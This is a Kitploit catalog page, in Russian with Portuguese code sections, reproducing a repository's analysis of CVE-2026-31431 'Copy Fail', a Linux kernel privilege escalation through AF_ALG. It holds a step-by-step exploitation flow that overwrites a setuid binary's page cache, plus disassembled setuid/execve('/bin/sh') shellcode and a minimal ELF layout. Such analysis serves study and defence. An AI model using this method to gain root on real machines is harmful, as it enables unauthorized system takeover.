Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2026-31431-copyfail — Образовательный анализ CVE-2026-31431 — локального повышения привилегий в ядре Linux через операцию AF_ALG AEAD на месте, включая техническую первопричину, обнаружение и меры по смягчению. | Kitploit
Инструменты/GitHubGitHub/darioomatos/cve-2026-31431-copyfail
Повышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияСтатьи и ИсследованияОбучение и ОбразованиеПодобранные Ресурсы
GitHubdarioomatos/cve-2026-31431-copyfail

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

cve-2026-31431-copyfail

Образовательный анализ CVE-2026-31431 — локального повышения привилегий в ядре Linux через операцию AF_ALG AEAD на месте, включая техническую первопричину, обнаружение и меры по смягчению.

Репозиторий
1235 месяцев назадЕщё не проверено

CVE-2026-31431 — «Copy Fail» 🔐

Образовательный технический анализ одной из самых значимых уязвимостей ядра Linux со времен Dirty Pipe (2022).
Этот репозиторий предназначен для исследований, изучения и защиты. Здесь не распространяется ни один рабочий эксплойт.


Содержание

  • Что это?
  • Для новичков: аналогия
  • Хронология
  • Как это работает технически
  • Проанализированный шеллкод
  • Сравнение с похожими уязвимостями
  • Затронутые системы
  • Затронут ли Android?
  • Обнаружение
  • Смягчение и патчи
  • Учебные реализации
  • Ссылки

Что это?

CVE-2026-31431, получившая прозвище Copy Fail, — это уязвимость локального повышения привилегий (LPE — Local Privilege Escalation) в ядре Linux. Она позволяет любому непривилегированному пользователю получить доступ root за считанные секунды.

АтрибутЗначение
CVECVE-2026-31431
Оценка CVSS7.8 HIGH
ТипLocal Privilege Escalation (LPE)
Подсистемаcrypto/algif_aead.c — AF_ALG
Появилась вKernel 4.14 (коммит 72548b093ee3, июль 2017)
Исправлена в6.18.22 / 6.19.12 / 7.0 (коммит a664bf3d603d)
ОбнаруженаTaeyang Lee — Theori / Xint Code
Публичное раскрытие29 апреля 2026
Публичный PoCДа — Python-скрипт размером ~732 байта

Для новичков: аналогия

Представьте, что у операционной системы есть рабочая память (называемая page cache), где хранятся копии файлов, которые используются в данный момент. Когда вы запускаете программу, система загружает её в эту память и выполняет оттуда — а не напрямую с диска.

Copy Fail позволяет обычному пользователю изменить эту копию в памяти специальной программы (бинарного файла setuid, например, команды su), не затрагивая исходный файл на диске. Файл на диске остаётся нетронутым, но при запуске программы система считывает повреждённую версию из памяти.

Это как подменить рецепт блюда в памяти шеф-повара, пока он готовит, — оригинальная кулинарная книга не меняется, но блюдо, которое получается на выходе, совершенно другое.

Результат: повреждённая программа выполняет код атакующего с правами root.

Что делает это особенно опасным:

  • Нет окна состояния гонки — это детерминированно
  • Не оставляет следов на диске (дисковая криминалистика не обнаружит)
  • Работает практически на всех дистрибутивах Linux начиная с 2017 года
  • Оригинальный эксплойт занимает всего ~700 байт Python

Хронология```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

---

## Как это работает технически

### Обзор потока```
Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

Root cause: in-place operation + sg_chain()

Ошибка находится в crypto/algif_aead.c. В 2017 году операция AEAD была переведена на in-place для повышения производительности:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

Алгоритм `authencesn` использует целевой буфер как *scratch space* для переупорядочивания байтов Extended Sequence Number (ESN) из IPsec:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

Почему не остаётся следов

Запись полностью обходит VFS. Изменённая страница никогда не помечается как dirty механизмом writeback ядра. Файл на диске остаётся нетронутым. Инструменты целостности, основанные на хэшах (aide, tripwire, inotifywait), ничего не обнаруживают, потому что они отслеживают диск, а не page cache.


Разбор шеллкода

Эксплойт встраивает мини-ELF размером 160 байт, сжатый с помощью zlib. После распаковки исполняемая часть выглядит так:```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

**Минимальная структура ELF (всего 160 байт):**```
Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

Сравнение с аналогичными уязвимостями

Скачать инструмент